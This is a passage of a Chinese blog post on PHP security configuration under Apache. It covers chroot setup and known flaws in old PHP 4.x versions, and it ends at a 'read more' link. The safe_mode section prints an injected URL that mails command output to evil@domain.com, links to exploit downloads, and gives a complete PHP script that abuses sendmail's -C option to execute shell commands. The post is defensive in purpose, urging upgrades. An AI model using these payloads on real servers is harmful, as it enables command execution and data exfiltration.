zoukankan      html  css  js  c++  java
  • PHP安全配置

    一、Web服务器安全

    PHP其实不过是Web服务器的一个模块功能,所以首先要保证Web服务器的安全。当然Web服务器要安全又必须是先保证系统安全,这样就扯远了,无穷无尽。PHP可以和各种Web服务器结合,这里也只讨论Apache。非常建议以chroot方式安装启动Apache,这样即使Apache和PHP及其脚本出现漏洞,受影响的也只有这个禁锢的系统,不会危害实际系统。但是使用chroot的Apache后,给应用也会带来一定的麻烦,比如连接mysql时必须用127.0.0.1地址使用tcp连接而不能用localhost实现socket连接,这在效率上会稍微差一点。还有mail函数发送邮件也是个问题,因为php.ini里的:

    [mail function]
    ; For Win32 only.
    SMTP = localhost

    ; For Win32 only.
    sendmail_from = me@localhost.com

    都是针对Win32平台,所以需要在chroot环境下调整好sendmail。

    二、PHP本身问题

    1、远程溢出

    PHP-4.1.2以下的所有版本都存在文件上传远程缓冲区溢出漏洞,而且攻击程序已经广泛流传,成功率非常高:

    http://packetstormsecurity.org/0204-exploits/7350fun
    http://hsj.shadowpenguin.org/misc/php3018_exp.txt

    2、远程拒绝服务

    PHP-4.2.0和PHP-4.2.1存在PHP multipart/form-data POST请求处理远程漏洞,虽然不能获得本地用户权限,但是也能造成拒绝服务。

    3、safe_mode绕过漏洞

    还有PHP-4.2.2以下到PHP-4.0.5版本都存在PHP mail函数绕过safe_mode限制执行命令漏洞,4.0.5版本开始mail函数增加了第五个参数,由于设计者考虑不周可以突破safe_mode的限制执行命令。其中4.0.5版本突破非常简单,只需用分号隔开后面加shell命令就可以了,比如存在PHP脚本evil.php:

    <? mail("foo@bar,"foo","bar","",$bar); ?>

    执行如下的URL:

    http://foo.com/evil.php?bar=;/usr/bin/id|mail evil@domain.com

    这将id执行的结果发送给evil@domain.com。

    对于4.0.6至4.2.2的PHP突破safe_mode限制其实是利用了sendmail的-C参数,所以系统必须是使用sendmail。如下的代码能够突破safe_mode限制执行命令:

    <?
    # 注意,下面这两个必须是不存在的,或者它们的属主和本脚本的属主是一样
    $script="/tmp/script123";
    $cf="/tmp/cf123";

    $fd = fopen($cf, "w");
    fwrite($fd, "OQ/tmp
    Sparse=0
    R$*" . chr(9) . "$#local $@ $1 $: $1
    Mlocal, P=/bin/sh, A=sh $script");
    fclose($fd);

    $fd = fopen($script, "w");
    fwrite($fd, "rm -f $script $cf; ");
    fwrite($fd, $cmd);
    fclose($fd);

    mail("nobody", "", "", "", "-C$cf");
    ?>

    还是使用以上有问题版本PHP的用户一定要及时升级到最新版本,这样才能消除基本的安全问题。
    *
    ……
    【阅读全文】
  • 相关阅读:
    【原创】主机不能访问虚拟机CentOS7中的站点
    phpStudy中MySQL版本升级到5.7.17方法
    phpStudy for Linux (lnmp+lamp一键安装包)
    Linux的wget命令详解【转载】
    重置密码解决MySQL for Linux错误 ERROR 1045 (28000): Access denied for user 'root'@'localhost' (using password: YES)
    mysql5.7密码过期ERROR 1862 (HY000): Your password has expired. To log in you must change
    电赛菜鸟营培训(二)——STM32F103CB之中断控制
    电赛菜鸟营培训(零)——Keil环境搭建
    电赛菜鸟营培训(一)——STM32F103CB之LED控制
    AppInventor学习笔记(四)——打地鼠应用学习
  • 原文地址:https://www.cnblogs.com/dkblog/p/1980696.html
Copyright © 2011-2022 走看看